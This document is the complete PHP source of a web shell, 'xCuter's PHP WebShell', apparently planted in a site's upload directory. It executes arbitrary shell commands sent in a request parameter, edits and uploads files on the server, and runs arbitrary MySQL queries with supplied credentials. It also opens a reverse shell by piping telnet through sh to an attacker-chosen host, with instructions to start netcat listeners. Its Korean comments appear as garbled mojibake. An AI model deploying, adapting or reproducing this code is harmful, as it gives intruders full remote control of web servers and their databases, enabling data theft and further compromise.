webadmin.php

/home/mjc1/public_html/save_dir/as/19811-1111_cmd_php.php

<?//   ±è¿µ»ï -http://youngsam.kr //?>
<?  echo "<html>
                <head><title>xCuter's PHP WebShell & Web Editor & MySQL Client & File Uploader & Reverse Telnet</title></head>
                <p style='line-height:5mm;font-size:12pt;color:#CCCCCC;'>Commands are : <font color=#F38900>vi</font> [filename], 
                <font color=F38900>sql</font> [server] [id] [pw] [db], <font color=F38900><a onfocus=blur() onclick=location='$_SERVER[PHP_SELF]?command=rz' style='cursor:hand';>rz</a></font>, <font color=#F38900><a onfocus=blur() onclick=location='$_SERVER[PHP_SELF]?command=reverse' style='cursor:hand';>reverse</a></font>";
      $cancel="<input type=button value=Cancel!! onclick=document.location='$_SERVER[PHP_SELF]?command=ls%20-al';>";

// ¸®¹ö½º ÅÚ³Ý
      if(substr($command,0,7)=="reverse" && strlen($command)==7)
      {
         echo "
            <script>
         function reverse1_help() { alert('1. Run Command in your computer like this : nc -l -p 5555\\n\\n2. Also run like this in another command prompt : nc -l -p 5556\\n\\n3. If you click the \'ESTABLISH\' button, you should be delighted.\\n\\n4. If you enter the arbitrary command to prompt(1), then you can see the result in another\\n\\n    prompt(2)'); }
         function reverse2_help() { alert('1. Run Command in your computer like this : nc -l -p 5555\\n\\n2. Input your IP Address & Port and Click the button then establish.\\n\\n3. Let\'s enter the command if u want to.'); }
         </script>
         <body bgcolor=black onload=reverseform1.urip.focus();><HR><font color=#cccccc>Which do u want?<br>
           <form method=post action=$_SERVER[PHP_SELF] name=reverseform1>
              <input type=hidden name=command value=$command>
              <input type=hidden name=reverse1 value=1>
              &nbsp; &nbsp; &nbsp;1) <font color=red> telnet <input type=text name=urip value='$REMOTE_ADDR' style='border:1;background-color:#444444;color=#cccccc;width:100;height:18'> <input type=text name=urport value=5555 style='border:1;background-color:#444444;color=#cccccc;width:30;height:18'>| sh | telnet <input type=text name=urip2 value='$REMOTE_ADDR' style='border:1;background-color:#444444;color=#cccccc;width:100;height:18'> <input type=text name=urport2 value=5556 style='border:1;background-color:#444444;color=#cccccc;width:30;height:18'> &nbsp; &nbsp; &nbsp; &nbsp;
              <input type=submit value=ESTABLISH onclick=document.location='$_SERVER[PHP_SELF]?command=$command'> &nbsp; <font size=2 color=#cccccc>
              <a onfocus=blur() style='cursor:hand' onclick=reverse1_help()>[HELP]</a>
         </form>
         <form method=post action=$_SERVER[PHP_SELF] name=reverseform2>
               <input type=hidden name=command value=$command>
               <input type=hidden name=reverse2 value=1>
              &nbsp; &nbsp; &nbsp; <font color=#cccccc>2)  <input type=text name=urip value='$REMOTE_ADDR' style='border:1;background-color:444444;color=#cccccc;width:100;height:18'> <input type=text name=urport value=5555  style='border:1;background-color:444444;color=#cccccc;width:30;height:18'> &nbsp; &nbsp; &nbsp; &nbsp;
              <input type=submit value=ESTABLISH onclick=document.location='$_SERVER[PHP_SELF]?command=$command'> &nbsp; <font size=2 color=#cccccc>
              <a onfocus=blur() style='cursor:hand' onclick=reverse2_help()>[HELP]</a>
         </form>
         <p><font color=#cccccc>
         &nbsp; &nbsp; &nbsp; 3) $cancel";

         // ½ÇÁ¦·Î ¸®¹ö½º ÅÚ³Ý 1) ¿¬°á
          if($reverse1)
              $con_str=`sleep 7777|telnet $urip $urport|sh|telnet $urip2 $urport2`; // 2Hour 16Minutes

         // ½ÇÁ¦·Î ¸®¹ö½º ÅÚ³Ý 2) ¿¬°á
         if($reverse2)
         {
             echo "<script>alert('ÁØºñÁß');</script>";
         }

         exit;
      }

// ÆÄÀÏ ¾÷·Îµå
      if(substr($command,0,2)=="rz" && strlen($command)==2)
      {
         echo "<body bgcolor=black>";
         
         if(!$HTTP_POST_FILES[upload1] && !$HTTP_POST_FILES[upload2] && !$HTTP_POST_FILES[upload3]) // ÆÄÀÏ ¾÷·Îµå°¡ ¾Æ´Ò ½Ã
         echo "<form method=post action=$_SERVER[PHP_SELF] name=uploadform enctype=multipart/form-data>
                      <input type=hidden name=command value=$command>
                      <input type=file name=upload1 size=60><br>
                      <input type=file name=upload2 size=60><br>
                      <input type=file name=upload3 size=60><br>
                          <input type=submit value=Up!!> $cancel
                   </form>";
         else // ÆÄÀÏ ¾÷·Îµå Ã³¸®½Ã
         {
             $fname1=$HTTP_POST_FILES[upload1][name];
             $fname2=$HTTP_POST_FILES[upload2][name];
             $fname3=$HTTP_POST_FILES[upload3][name];
             if(!@move_uploaded_file($HTTP_POST_FILES[upload1][tmp_name], $fname1) &&
                !@move_uploaded_file($HTTP_POST_FILES[upload2][tmp_name], $fname2) &&
                !@move_uploaded_file($HTTP_POST_FILES[upload3][tmp_name], $fname3))
                 die("<p><font color=red>¾÷·Îµå ½ÇÆÐ $cancel");

             echo "<script>document.location='$_SERVER[PHP_SELF]?command=ls%20-al';</script>";
         }
         exit;
      }

      // ÆíÁýµÈ ÆÄÀÏ ÀúÀå
      if($save_text)
      {
         $save_text=str_replace("\\","",$save_text);
         $wfp=@fopen($fname,"w") or die("<br><script>alert('Warning!! Writing Error!\\nCheck permission for write!');history.back();</script>");
         fwrite($wfp, $save_text, strlen($save_text));
         fclose($wfp);
         echo "<script>alert('Successfully file saved.');document.location='".$_SERVER[PHP_SELF]."?fname=&save_text=&command=ls%20-al';</script>";
      }

// vi ÆíÁý±â
      if(substr($command,0,3)=="vi ")
      {
         $org_cmd=str_replace(" ","%20",$command);
         $str=explode(" ", $command);

         if(file_exists($str[1])) $isfile=1;

         if($isfile) $fp=@fopen($str[1],"r");
         else        $fp=@fopen($str[1],"w");
         if($isfile) { $text=@fread($fp,filesize($str[1]));  @fclose($fp); }

         echo "<body onload=modify.save_text.focus(); bgcolor=black>";
         echo "<br>- FileName : <font color=red>$str[1]";
         echo '<form name=modify action="'.$_SERVER[PHP_SELF].'" method=POST>
                 <input type=hidden name=fname value="'.$str[1].'">
                 <input type=submit value="Save" onClick=document.location="'.$_SERVER[PHP_SELF].'?command=ls%20-al";>&nbsp;
                 <input type=button name=command value="Command Mode" onClick=document.location="'.$_SERVER[PHP_SELF].'?command=ls%20-al";><p>
                 <textarea name=save_text style="width:100%;height:500">'.$text.'</textarea>
                 </form>';
         exit;
      }

// SQL Connecting
      if(substr($command,0,4)=="sql " || (substr($command,0,4)=="sql "))
      {
          $str=explode(" ", $command);

          if($str[4]) // ÀÎÀÚ ¼ö È®ÀÎ
          {
              echo "
                      <html>
                      <head>
                      <script>
                          function make_str(mode)
                         {
                             if(mode=='con')
                             {
                                f=document.conn;
                                var c=f.serv.value+' '+f.dbid.value+' '+f.dbpw.value+' '+f.dbnm.value;
                                document.location='$_SERVER[PHP_SELF]?command=sql '+c;
                                return 1;
                             }
                             else if(mode=='cmd')
                             {
                                 f=document.conn; g=document.sql;
                                 var c=f.serv.value+' '+f.dbid.value+' '+f.dbpw.value+' '+f.dbnm.value;
                                 var d=f.cmd.value;
                                   document.location='$_SERVER[PHP_SELF]?command=sql '+c+'&cmd='+d;
                                 return 1;
                             }
                             return 0;
                         }
                      </script>
                      </head>
                      <body onload=sql.cmd.focus(); bgcolor=black color=#CCCCCC>
                           <font size=2 color=#cccccc>
                           <HR>
                           <form name=conn action=$REQUEST_URI method=post>
                                     Server: <input type=text name=serv size=19 value=$str[1]>&nbsp;&nbsp; 
                                     DB_ID: <input type=text name=dbid size=14 value=$str[2]>&nbsp;&nbsp; 
                                     DB_PW: <input type=text name=dbpw size=14 value=$str[3]>&nbsp;&nbsp; 
                                     DB_Name: <input type=text name=dbnm size=14 value=$str[4]> &nbsp;&nbsp; 
                                     <input type=button value=Connect!! onclick=make_str('con');> $cancel
                           </form>
                           <HR>
                           <form name=sql action=$REQUEST_URI method=post>
                                     <input type=hidden name=command value='$command'>
                                      <span style='font-size:9pt;color:#cccccc;font-family:Fixedsys'>
                                     mysql> <input type=text name=cmd value='' size=60 style='border:0;background-color:black;color:#cccccc'> [History: $cmd]
                                     <input type=button value='' onclick=make_str('cmd'); style='width:0;height:0'>
                           </form>
                      </body>
                      </html>";
             } // ÀÎÀÚ°¡ ÀÖ´Ù¸é
      } // ¸í·ÉÀÌ sql·Î ½ÃÀÛÇÏ¸é

// SQL ¿¬°áÀÌ ¼º¸³ µÈ ÀÌÈÄ~
      if($cmd || (!$cmd&&substr($command,0,4)=="sql "))
      {
         $connect=@mysql_connect($str[1], $str[2], $str[3]) or die("<font color=red>Error : SQL ¿¬°á ½ÇÆÐ!! ¿¬°áÁ¤º¸¸¦ ´Ù½Ã È®ÀÎÇØº¸¼¼¿ä.");
                          @mysql_select_db($str[4], $connect) or die("<font color=red>Error : Database ¸íÀ» È®ÀÎÇÏ¼¼¿ä.");

         if($cmd) // SQL ÁúÀÇ¾î°¡ ÀÖÀ» ¶§
         {
            $query=@mysql_query($cmd) or die("Error : Äõ¸® ½ÇÆÐ!! Äõ¸®¹® ´Ù½Ã È®ÀÎÇØ º¸¼¼¿ä(±ÇÇÑÀÌ ¾ø´Â °ÍÀÏ ¼öµµ ÀÖÀ½)");
            $cnt=@mysql_num_rows($query);
            $cnt2=@mysql_num_fields($query);

            // ÀüÃ¼ ·¹ÄÚµå Áß °¢ ÇÊµåÀÇ ÃÖ´ë °ª ÀúÀå
            for($i=0;$i<$cnt;$i++)
            {
                  @mysql_data_seek($query, $i) or die("Error: Seek ½ÇÆÐ");
                  $data=@mysql_fetch_array($query) or die("Error : µ¥ÀÌÅÍ Á¶ÇÕ ½ÇÆÐ in mysql_fetch_array()");
                  for($j=0;$j<$cnt2;$j++) if(strlen($data[$j])>$max[$j]) $max[$j]=strlen($data[$j]);
            }

            for($i=0;$i<$cnt;$i++) // ¿ ¼ö ¸¸Å
            {
                  @mysql_data_seek($query, $i);
                  $data=@mysql_fetch_array($query);
                  for($j=0;$j<$cnt2;$j++) // ÇÊµå ¼ö ¸¸ Å
                  {
                        echo $data[$j]; // ÇÊµå °ª
                        for($l=strlen($data[$j]);$l<$max[$j];$l++) echo "&nbsp;"; // Á¤·ÄÇÏ±â->PADDING
                        if($j!=$cnt2-1) echo " | ";  // ±¸ºÐ±âÈ£

                  } // ÇÊµå ¼ö ¸¸Å
                  echo "<br>";
            } // ¿ ¼ö ¸¸Å Ãâ·Â
         } // Äõ¸®°¡ ÀÖÀ» °æ¿ì
      } // Äõ¸®°¡ ÀÖ°Å³ª,  Äõ¸®°¡¾ø ¸í·É¸¸ÀÖÀ»¶§

      else
      {
        $command = str_replace("\\", "", $command); $result = `$command`;
        $info = ereg_replace("\n", "", "[".`whoami`."@".`hostname -s`." ".`pwd`."]$");

        echo "
        <body onload=xcu.command.focus(); bgcolor=black color=#CCCCCC>
        <form name=xcu action=$_SERVER[REQUEST_URI] method=post>
        $info <INPUT TYPE=TEXT NAME=command VALUE='' SIZE=45 style=border:0;background-color:black;color=#cccccc> [History : $command]
              <INPUT TYPE=SUBMIT VALUE='' style='width:0;height:0'>
        <HR><font color=#cccccc><XMP>\n$result</XMP></font><HR>
        </body>
        </form>
        </html>";
      } // else
?>